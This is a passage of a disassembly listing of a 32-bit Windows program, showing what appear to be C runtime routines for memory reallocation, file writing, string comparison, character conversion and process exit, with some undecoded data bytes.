arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------


loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	loc_41958F


loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_48B680
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi


loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h


loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542


loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi


loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 26F0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi


loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h


loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567


loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi


loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		call	near ptr 2800000h
		nop
		mov	edi, eax


loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588


loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_48A074, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------


loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi


loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_43B7E4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------


loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi


loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h


loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588


loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 26F0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi


loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2800000h
		mov	edi, eax


loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588


loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_48A074, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------


loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi


loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2800000h
		test	eax, eax
		jnz	short loc_4196EA


loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_48A074, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA


loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax


loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------


loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------


loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax


loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE


loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------


loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx


loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5


loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------


loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1


loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]


loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------


loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi


loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 267029Bh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		nop
		call	near ptr 2630313h
		push	eax
		call	sub_41EF44
		pop	ecx


loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_48A014, 0Dh
		mov	dword_48A018, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------


loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6


loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi


loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi


loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A


loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D


loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------


loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh


loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0


loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax


loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F88+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3


loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9


loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_48A0A8, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3


loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------


loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		nop
		call	near ptr 2630313h
		cmp	eax, 7Ah
		jz	short loc_419A44


loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_4395A0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax


loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C


loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------


loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_48A0A8, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_48A0B8
		call	near ptr 2610000h
		nop
		cmp	eax, esi
		jz	short loc_419A35


loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax


loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43956C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73


loc_419AC3:				; CODE XREF: ___:00419ABFj
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_419B07
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: sub_419CDA+1Cp
					; sub_41D4FC+3438p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: ___:00419AEDp
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_48A05C, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		nop
		call	near ptr 2760C3Fh
		push	eax
		nop
		call	near ptr 27B0BD0h


loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_48A058, edi
		mov	byte_48A054, bl
		jnz	short loc_419B78
		mov	eax, dword_48B69C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_48B698
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66


loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax


loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_48B69C
		jnb	short loc_419B53


loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi


loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx


loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_48A05C, edi
		call	near ptr 77E75CB5h
		nop


loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: ___:00419ACDp
					; ___:00419ADCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax


loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 27A0C9Ch
		test	eax, eax
		jnz	short loc_419BD0
		call	near ptr 2630313h
		nop
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------


loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax


loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		dd 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 64111103h, 0A1h
		dd 89645000h, 25h, 58EC8300h, 89575653h, 0D4E8E865h, 90023F7Dh
		dd 0D48AD233h, 0A02C1589h, 0C88B0048h, 0FFE181h, 0D890000h
		dd 48A028h, 308E1C1h, 240D89CAh, 0C10048A0h, 20A310E8h
		dd 330048A0h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah
		dd 59000000h, 0E8FC7589h, 5967h, 7D58E890h, 8CA3023Fh
		dd 0E80048B6h, 5825h, 48A060A3h, 55CEE800h, 10E80000h
		dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 0E850A445h, 23F6378h
		dd 54A1E890h, 45890000h, 0D045F69Ch, 0F067401h,	0EBD445B7h
		dd 580A6A03h, 9C75FF50h, 0AEE85656h, 90022E6Eh,	49F7E850h
		dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh
		dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; ___:0041F1D5p ...

arg_0		= dword	ptr  4

		cmp	dword_48A068, 1
		jnz	short loc_419CE8
		call	sub_41F84C


loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_439590
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 48A0683Dh, 5750100h,	5B3FE8h, 2474FF00h, 5B6FE804h
		dd 68590000h, 0FFh, 0BF93E890h
		db 0A5h, 77h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172B0+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_43BCD8
		jz	short loc_419D83
		cmp	esi, offset dword_43BCF8
		jnz	short loc_419D8E


loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95


loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
